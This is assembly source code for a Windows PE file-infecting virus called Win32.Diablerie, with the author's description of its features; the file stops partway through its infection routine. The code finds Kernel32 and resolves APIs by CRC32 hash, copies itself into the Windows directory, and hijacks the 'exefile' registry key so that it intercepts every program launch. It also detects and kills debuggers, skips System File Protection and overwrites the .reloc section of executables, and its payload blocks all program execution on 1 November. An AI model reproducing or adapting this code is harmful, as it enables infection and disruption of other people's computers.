MalwareSourceCode/Win32/Infector/Win32.Diablerie.asm
2020-10-16 23:26:21 +02:00

1459 lines
39 KiB
NASM

comment $
ÉÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ»
³ Win32.Diablerie ÃÄ»
ÈÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ ³
ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ
Version: 0.7
Author: Dr. Watcom <drwatcom@jazzfree.com> (Valencia / SPAIN)
Compiler: Borland Turbo Assembler (version 5.0r / 32bit)
Type: PE-Infector (relocations overwriter)
Platform: Intel 80386 processor and compatibles
Systems: Win95, Win98, WinME, WinNT, Win2K
Size: 2848 bytes
Sys Hooking: Changes 'exefile' registry key to trap EXE files execution
Encryption: Not implemented (may be next version...)
EPO: Virus code is run from a loader within DOS stub, using SEH
Anti-AV: Not implemented.
Anti-Bait: Does not infect tiny files (with relocations < virus)
Anti-Debug: Detects app-level debuggers, tries to kill them with SEH
Payload: On 01/11 denies all program execution, shows credits
.Comments.
This is my second virus and it's a bit lame yet, as it has no
polymorphic engine and even uses no encryption, but I think it
implements a couple of nifty things: it obscures the entrypoint
by clearing it in the header, so the victims get executed from
the very beggining of the file (including the 'MZ' signature!!)
and then jmp to a loader located in the DOS stub code, which is
redone to keep compatibility (so running victims under MS-DOS
gives no error). This loader passes control to the virus using
a SEH frame to jmp.
The virus changes the 'HKCR\exefile\shell\open\command' key
to trap any program which gets executed, and then infects it by
overwriting .reloc section. It also detects (and tries to kill)
application-level debuggers.
The payload is very lame: only a lil' message box showing the
credits and denying all program execution on 01/11. The payload
text (as the virus name) was inspired by the roleplaying game
"Vampire: The Masquerade" (of course, the *real* game, not the
computer one!!)
.Compilation.
(Why would anybody want to compile this?)
tasm32 /m /ml diablerie.asm
tlink32 /Tpe /aa /c diablerie.obj, diablerie.exe,, import32.lib
pewrite diablerie.exe
$
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Preprocessor º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
.386 ; Instruction set to be used
.model flat ; No segmentation!
include win32.inc ; Windows structures and constants
include mz_pe.inc ; DOS (MZ) & Win32 (PE) exe layout
extrn ExitProcess :PROC ; Some APIs used by fake host code
extrn MessageBoxA :PROC ;
extrn _wsprintfA :PROC ;
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Useful equates and macros ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
DEBUG equ TRUE ; TRUE -> Do not infect files
CRLF equ <13,10>
SPAWN_NAME equ <'msdiab.exe'>
VIRUS_NAME equ <'Win32.Diablerie'>
VIRUS_VERSION equ <'v0.7'>
VIRUS_SIZE equ End - Start
OPCODE_JMP_SHORT equ 0ebh
PAYLOAD_MONTH equ 11
PAYLOAD_DAY equ 1
KERNEL32_WIN9X equ 0bff70000h ; Hardcoded values, in case we don't
KERNEL32_WINNT equ 077f00000h ; find Kernel32 by other ways. Those
KERNEL32_WIN2K equ 077e00000h ; values are then checked using SEH
KERNEL32_WINME equ 0bff60000h ; before using them, to avoid PF's
api MACRO name
call [ebp + name]
ENDM
PUT_SEH_HANDLER MACRO label
local @@skip_handler
call @@skip_handler
mov esp, [esp + 08h]
jmp label
@@skip_handler:
xor edx, edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
ENDM
RESTORE_SEH_HANDLER MACRO
xor edx, edx
pop dword ptr fs:[edx]
pop edx
ENDM
GENERATE_EXCEPTION MACRO
xor edx, edx
div edx
ENDM
STRLEN MACRO
push eax
push esi
push edi
mov edi, esi
xor ecx, ecx
dec ecx
xor eax, eax
repne scasb
mov ecx, edi
sub ecx, esi
pop edi
pop esi
pop eax
ENDM
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Host data º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; This data is used only by first-generation fake host code
.data
szTitle db VIRUS_NAME, 0
szTemplate db 'Virus ',VIRUS_NAME,' ',VIRUS_VERSION,' ','has been activated.', CRLF
db 'Current virus size is %i bytes (0x%X bytes).', CRLF, CRLF
db 'Have a nice day.', 0
szBait db 'bait1.exe', 0
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Virus code º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
.code
Start:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Setup everything ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
call GetDelta ; Trivial stuff, don't you think?
GetDelta: ; Ok, I'll explain: this way you can
pop ebp ; get the code displacement (a.k.a.
sub ebp, offset GetDelta ; delta offset)
test ebp, ebp
jz FirstGenEntry
mov esp, [esp + 08h]
RESTORE_SEH_HANDLER
mov eax, [ebp + File_EntryPoint] ; Original EP (saved during infection)
mov [ebp + HostEntry], eax ; Store it in a safe place
FirstGenEntry:
cld ; We don't like surprises...
mov esi, [esp] ; To find Kernel32 we will use the
call FindKernel32 ; ret address in the stack, wich
jc ReturnToHost ; (hopefully) will point into it
call LocateAPIs
jc ReturnToHost
push size PROCESS_INFORMATION ;
push GMEM_FIXED or GMEM_ZEROINIT ;
api GlobalAlloc ;
mov [ebp + ProcessInfo], eax ;
push size STARTUPINFO ;
push GMEM_FIXED or GMEM_ZEROINIT ;
api GlobalAlloc ;
mov [ebp + StartupInfo], eax ;
mov [eax.SI_Size], size STARTUPINFO
push eax
api GetStartupInfo ; Get our startup information
test ebp, ebp
jz FakeHost
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Hands on!!! ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
call RNG_Init ; Init the Random Number Generator
call DetectDebuggers
jc ReturnToHost
call ParseCommandLine
jnc ExecutedFromReg
call SetupRegHook
jmp ReturnToHost
ExecutedFromReg:
mov esi, [ebp + CmdExefile]
IF DEBUG
push 1040h
lea edx, [ebp + szVirusName]
push edx
push esi
push NULL
api MessageBox
ELSE
call InfectFile
ENDIF
sub esp, size SYSTEMTIME
mov esi, esp
push esi
api GetSystemTime
add esp, size SYSTEMTIME
cmp [esi.ST_Month], PAYLOAD_MONTH
jne ExecuteVictim
cmp [esi.ST_Day], PAYLOAD_DAY
jne ExecuteVictim
push 1040h
lea edx, [ebp + szVirusName]
push edx
lea edx, [ebp + szVirusCredits]
push edx
push NULL
api MessageBox
IF DEBUG
ELSE
jmp ExitToWindows
ENDIF
ExecuteVictim:
mov esi, [ebp + CmdSpawn] ;
mov ebx, [ebp + ProcessInfo] ; must execute our command line
mov edx, [ebp + StartupInfo] ; as a new process
xor eax, eax
push ebx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
api CreateProcess
ExitToWindows:
push 0
api ExitProcess_
ReturnToHost:
test ebp, ebp
jz FakeHost_Quit
push [ebp + HostEntry]
ret
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Virus Subroutines º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; DetectDebuggers
; FindKernel32
; LocateAPIs
; ParseCommandLine
; SetupRegHook
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ DetectDebuggers ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Detects application-level debuggers and tries to kill them with SEH
;
; Output:
; carry flag -> set if debugger persists, clear if not
DetectDebuggers:
pushad
PUT_SEH_HANDLER FD_Continue ; Use SEH to kill debuggers
xor eax, eax ; Generate a exception (divide by 0)
div eax ;
RESTORE_SEH_HANDLER ; Here some abnormal occured
jmp FD_Debugger_Found ; So lets quit
FD_Continue: ; Execution should resume at this pnt
RESTORE_SEH_HANDLER ; Remove handler
mov eax, fs:[20h] ; Detect application-level debugger
test eax, eax ; Is present?
jnz FD_Debugger_Found ; Quit!
popad ; No debuggers found, so restore
clc ; registers, clear carry flag and
ret ; return!
FD_Debugger_Found:
popad
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ FindKernel32 ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Tries to find Kernel32 base address by scanning back from a certain address
; and, if that fails, by using some hardcoded values
;
; Input:
; esi -> must point somewhere into kernel32
; Output:
; var Kernel32 -> will point to Kernel32 base address
; carry flag -> set on error
FindKernel32:
pushad
and esi, 0FFFF0000h
mov ecx, 100h
FK32_Loop:
call TryAddress
jnc FK32_Success
sub esi, 010000h
loop FK32_Loop
FK32_Hardcodes:
mov esi, KERNEL32_WIN9X
call TryAddress
jnc FK32_Success
mov esi, KERNEL32_WINNT
call TryAddress
jnc FK32_Success
mov esi, KERNEL32_WIN2K
call TryAddress
jnc FK32_Success
mov esi, KERNEL32_WINME
call TryAddress
jnc FK32_Success
FK32_Fail:
popad
stc
ret
FK32_Success:
mov [ebp + Kernel32], esi
popad
clc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ LocateAPIs ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Gets all API addresses that our virus needs
;
; Output:
; carry flag -> set on error, clear on success
LocateAPIs:
pushad
mov ebx, [ebp + Kernel32] ; Having found Kernel32, we will get
lea esi, [ebp + Kernel_API_CRC32] ; an array of API addresses by their
lea edi, [ebp + Kernel_API_Addr] ; names CRC32, scanning the Kernel32
call GetAPIArray ; export table
jc LA_Fail ;
lea edx, [ebp + szUser32] ; More API's! This time we call
push edx ; LoadLibrary to get User32
api LoadLibrary ; Call API
mov ebx, eax ; ebx -> Module handle
lea esi, [ebp + User_API_CRC32] ; esi -> Pointer to CRC32 table
lea edi, [ebp + User_API_Addr] ; edi -> Where to store addresses
call GetAPIArray ; Call our procedure
jc LA_Fail ; Any problem? If so, bail out
lea edx, [ebp + szAdvapi32] ; More API's!
push edx ;
api LoadLibrary ;
mov ebx, eax ;
lea esi, [ebp + Advapi_API_CRC32] ;
lea edi, [ebp + Advapi_API_Addr] ;
call GetAPIArray ;
jc LA_Fail ; Any problem? If so, bail out
LA_Success:
popad
clc
ret
LA_Fail:
popad
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ ParseCommandLine ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Parses our commandline and checks for special params
;
; Output:
; var CmdLine
; var CmdSpawn
; var CmdExefile
; carry flag -> set if no special param found, clear otherwise
ParseCommandLine:
pushad
xor eax, eax
mov [ebp + CmdSpawn], eax
mov [ebp + CmdExefile], eax
api GetCommandLine ; Get our command line
mov [ebp + CmdLine], eax ; Save it
mov esi, eax ;
call GetNextParam ;
jc PCL_Quit ;
lodsb
dec al
jnz PCL_Quit
mov [ebp + CmdSpawn], esi
STRLEN
push ecx
push GMEM_FIXED
api GlobalAlloc
mov [ebp + CmdExefile], eax
mov edi, eax
STRLEN
rep movsb
mov esi, [ebp + CmdExefile]
call GetNextParam
jc PCL_Quit
dec esi
mov byte ptr [esi], 0
popad
clc
ret
PCL_Quit:
popad
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ SetupRegHook ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Copies our host to Windows directory and changes the 'exefile' key in reg
SetupRegHook:
pushad
sub esp, MAX_PATH
mov esi, esp
sub esp, MAX_PATH
mov edi, esp
push MAX_PATH
push edi
api GetWindowsDirectory
lea edx, [ebp + szSpawnFile]
push edx
push edi
api lstrcat
push MAX_PATH
push esi
push NULL
api GetModuleFileName
push FALSE
push edi
push esi
api CopyFile
lea esi, [ebp + szRegValue]
lea edi, [ebp + szRegKey]
mov edx, HKEY_CLASSES_ROOT
call ChangeRegString
add esp, MAX_PATH + MAX_PATH
popad
ret
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Virus Functions º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; ChangeRegString
; GetAPIAddress
; GetAPIArray
; GetCRC32
; GetNextParam
; TryAddress
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ ChangeRegString ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Shortcut to change a registry string
;
; Input:
; edi -> pointer to key to be changed
; esi -> pointer to key value
; edx -> hotkey
ChangeRegString:
pushad
sub esp, 4
mov ebx, esp
push ebx
push KEY_ALL_ACCESS
push 0
push edi
push edx
api RegOpenKeyEx
STRLEN
dec ecx
push ecx
push esi
push REG_SZ
push NULL
push dword ptr [ebx]
api RegSetValue
push dword ptr [ebx]
api RegCloseKey
add esp, 4
popad
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ GetAPIAddress ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Tries to get an API address by its CRC32 from the given module export table
;
; Input:
; esi -> module handle
; edx -> API's CRC32
; Output:
; eax -> API's address
; carry flag -> set on error, clear on success
GetAPIAddress:
pushad
mov edi, esi
add esi, [edi.MZ_lfanew]
add esi, 078h
lodsd
add eax, edi
mov esi, eax
mov eax, [esi.ED_NumberOfNames]
mov [ebp + ET_MaxNames], eax
mov eax, [esi.ED_AddressOfNames]
add eax, edi
mov [ebp + ET_PtrNames], eax
mov eax, [esi.ED_AddressOfFunctions]
add eax, edi
mov [ebp + ET_PtrAddresses], eax
mov eax, [esi.ED_AddressOfNameOrdinals]
add eax, edi
mov [ebp + ET_PtrOrdinals], eax
mov esi, [ebp + ET_PtrNames]
mov ecx, [ebp + ET_MaxNames]
xor eax, eax
mov [ebp + Count], eax
GA_GetNamePtr:
jecxz GA_Fail
lodsd
push esi
add eax, edi
mov esi, eax
xor ebx, ebx
push ecx
STRLEN
call GetCRC32
pop ecx
cmp eax, edx
jne GA_Next
mov ecx, [ebp + Count]
mov esi, [ebp + ET_PtrOrdinals]
shl ecx, 1
add esi, ecx
xor eax, eax
lodsw
mov esi, [ebp + ET_PtrAddresses]
shl eax, 2
add esi, eax
lodsd
add eax, edi
mov [ebp + ET_TmpAddress], eax
jmp GA_Success
GA_Next:
pop esi
dec ecx
inc [ebp + Count]
jmp GA_GetNamePtr
GA_Success:
pop esi
popad
mov eax, [ebp + ET_TmpAddress]
clc
ret
GA_Fail:
popad
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ GetAPIArray ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Gets an array of API addresses from the given module
;
; Input:
; esi -> points to an array of CRC32 values, ending with a NULL dword
; edi -> points to destination of the address array
; ebx -> module handle
; Output:
; carry flag -> set on error, clear on success
GetAPIArray:
pushad
GAA_Loop:
lodsd
test eax, eax
jz GAA_Success
mov edx, eax
push esi
mov esi, ebx
call GetAPIAddress
jc GAA_Fail
stosd
pop esi
jmp GAA_Loop
GAA_Success:
popad
clc
ret
GAA_Fail:
popad
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄ¿
;³ GetCRC32 ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; Computes CRC32 checksum of the given data
;
; Input:
; esi -> pointer to data
; ecx -> size of data in bytes
; Output:
; eax -> CRC32 checksum
GetCRC32:
pushad
mov edi, ecx
xor ecx, ecx
dec ecx
mov edx, ecx
CRC32_NextByte:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
CRC32_NextBit:
shr bx, 1
rcr ax, 1
jnc CRC32_NoCRC
xor ax, 08320h
xor bx, 0EDB8h
CRC32_NoCRC:
dec dh
jnz CRC32_NextBit
xor ecx, eax
xor edx, ebx
dec edi
jnz CRC32_NextByte
not edx
not ecx
mov eax, edx
rol eax,16
mov ax, cx
mov [ebp + CRC32], eax
popad
mov eax, [ebp + CRC32]
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ GetNextParam ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Moves esi pointer to next parameter in a commandline-type string
; Uses SEH to avoid possible protection faults
;
; Input:
; esi -> pointer to a commandline-type string
;
; Output:
; esi -> points to next parameter
; carry flag -> set if string terminated, clear on success
GetNextParam:
push eax
push ecx
PUT_SEH_HANDLER GNP_Fail
mov cl, 20h ; Character to match (space)
GNP_SkipSpaces:
lodsb ;
test al, al ;
jz GNP_Fail ; If al is zero, string was terminated
cmp al, cl ;
je GNP_SkipSpaces ; There are remaining spaces, loop on
cmp al, 22h ; First char is a quote?
jne GNP_Find ; No: we must find a space
mov cl, 22h ; Yes: we must find the closing quote
GNP_Find:
lodsb
test al, al
jz GNP_Fail
cmp al, cl
jne GNP_Find
RESTORE_SEH_HANDLER
pop ecx
pop eax
clc
ret
GNP_Fail:
RESTORE_SEH_HANDLER
pop ecx
pop eax
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ TryAddress ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Checks if esi points to a valid PE base address (useful to find Kernel32),
; uses SEH to avoid possible faults, so the address may be anything
;
; Input:
; esi -> address to try
; Output:
; carry flag -> set on error, clear on success
TryAddress:
pushad
PUT_SEH_HANDLER TA_Fail
cmp word ptr [esi], 'ZM'
jne TA_Fail
add esi, [esi.MZ_lfanew]
cmp word ptr [esi], 'EP'
je TA_Success
TA_Success:
RESTORE_SEH_HANDLER
popad
clc
ret
TA_Fail:
RESTORE_SEH_HANDLER
popad
stc
ret
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Randomizing functions º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;ÚÄÄÄÄÄÄÄÄÄÄ¿
;³ RNG_Init ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; Initialises the Random Number Generator
;
RNG_Init:
pushad
api GetTickCount
mov [ebp + RndSeed_1], eax
rol eax, 3
mov [ebp + RndSeed_2], eax
rol eax, 3
mov [ebp + RndSeed_3], eax
rol eax, 3
mov [ebp + RndSeed_4], eax
rol eax, 3
mov [ebp + RndSeed_5], eax
rol eax, 3
mov [ebp + RndSeed_6], eax
popad
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ RNG_GetRandom ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Returns a 32-bit random number
;
; Output:
; eax -> random number
RNG_GetRandom:
push edx
mov eax, [ebp+RndSeed_1]
mov edx, [ebp+RndSeed_2]
xor eax, [ebp+RndSeed_3]
xor edx, [ebp+RndSeed_4]
shrd eax, edx, 11h
push eax
mov eax, [ebp+RndSeed_5]
mov edx, [ebp+RndSeed_6]
and eax, 0FFFFFFFEh
add [ebp+RndSeed_1], eax
adc [ebp+RndSeed_2], edx
inc dword ptr [ebp+RndSeed_3]
inc dword ptr [ebp+RndSeed_4]
pop eax
pop edx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ RNG_GetRandomRange ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Returns a random number from 0 to [eax - 1]
;
; Input:
; eax -> maximum random number to get + 1
;
; Output:
; eax -> random number
RNG_GetRandomRange:
push ebx
mov ebx, eax
call RNG_GetRandom
RNG_R_Loop:
cmp eax, ebx ; Now, keep result in the given range
jl RNG_R_Ok ; It's in range, so we can return
shr eax, 1 ; It's not. We divide it by 2 and
jmp RNG_R_Loop ; loop to compare again
RNG_R_Ok:
pop ebx
ret ; Return!
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Infection Code º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ InfectFile ÃÄ¿
;ÀÄÂÄÄÄÄÄÄÄÄÄÄÙ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Infects a Portable Executable by overwriting .reloc section
;
; Input:
; esi -> points to filename to infect
;
InfectFile:
pushad
mov [ebp + FileName], esi
mov [ebp + FileInfected], FALSE
mov edi, esi
mov ecx, MAX_PATH
xor eax, eax
cld
repnz scasb
mov eax, [edi-5]
or eax, 20202000h
cmp eax, 'exe.'
jne IF_Quit
; Avoid System File Protection
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lea edx, [ebp + szSfc] ; We have to avoid Win2K/WinME SFP
push edx ; Push a pointer to library name
api LoadLibrary ; Load it
test eax, eax ; If the library doesn't exist, we
jz IF_NotProtected ; can safely ignore SFP
lea edx, [ebp + szSfcProc] ; Pointer to function name
push edx ; Push it
push eax ; Push module handle
api GetProcAddress ; Call API
test eax, eax ; No function with that name, so we
jz IF_NotProtected ; proceed to infection
push esi ; Pointer to victim's filename
push NULL ; This parameter must be NULL
call eax ; Call SfcIsFileProtected
test eax, eax ; Not protected? Go ahead, continue
jz IF_NotProtected ; with infection
jmp IF_Quit ; File protected, we must quit
; Save file attributes and remove them
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_NotProtected:
push esi ; Points to filename
api GetFileAttributes ; Call API
mov [ebp + FileAttribs], eax ; Save attributes for later use
push FILE_ATTRIBUTE_NORMAL ; Now we change the attributes of the
push esi ; file to FILE_ATTRIBUTE_NORMAL
api SetFileAttributes ; Call API
; Open a handle to the file
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_OpenFile:
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ or GENERIC_WRITE
push esi
api CreateFile
inc eax
jz IF_RestoreAttribs
dec eax
mov [ebp + FileHandle], eax
; Save creation/access/modify times
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lea edx, [ebp + FileTime_Written]
push edx
lea edx, [ebp + FileTime_Accessed]
push edx
lea edx, [ebp + FileTime_Created]
push edx
push [ebp + FileHandle]
api GetFileTime
; Save file size
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push NULL
push [ebp + FileHandle]
api GetFileSize
mov [ebp + FileSize], eax
; Open a file mapping object
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_CreateMapping:
xor eax, eax
push eax
push [ebp + FileSize]
push eax
push PAGE_READWRITE
push eax
push [ebp + FileHandle]
api CreateFileMapping
test eax, eax
jz IF_CloseFile
mov [ebp + FileMapping], eax
; Map a view of the file
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_CreateView:
xor eax, eax
push dword ptr [ebp + offset FileSize]
push eax
push eax
push FILE_MAP_ALL_ACCESS
push [ebp + FileMapping]
api MapViewOfFile
test eax, eax
jz IF_CloseMapping
mov [ebp + FileView], eax
mov esi, eax
; Check for MZ/PE signatures
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp word ptr [esi], 'ZM'
jne IF_CloseMapping
add esi, [esi.MZ_lfanew]
cmp word ptr [esi], 'EP'
jne IF_CloseMapping
; Check for space for the EPO loader
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov esi, [ebp + FileView]
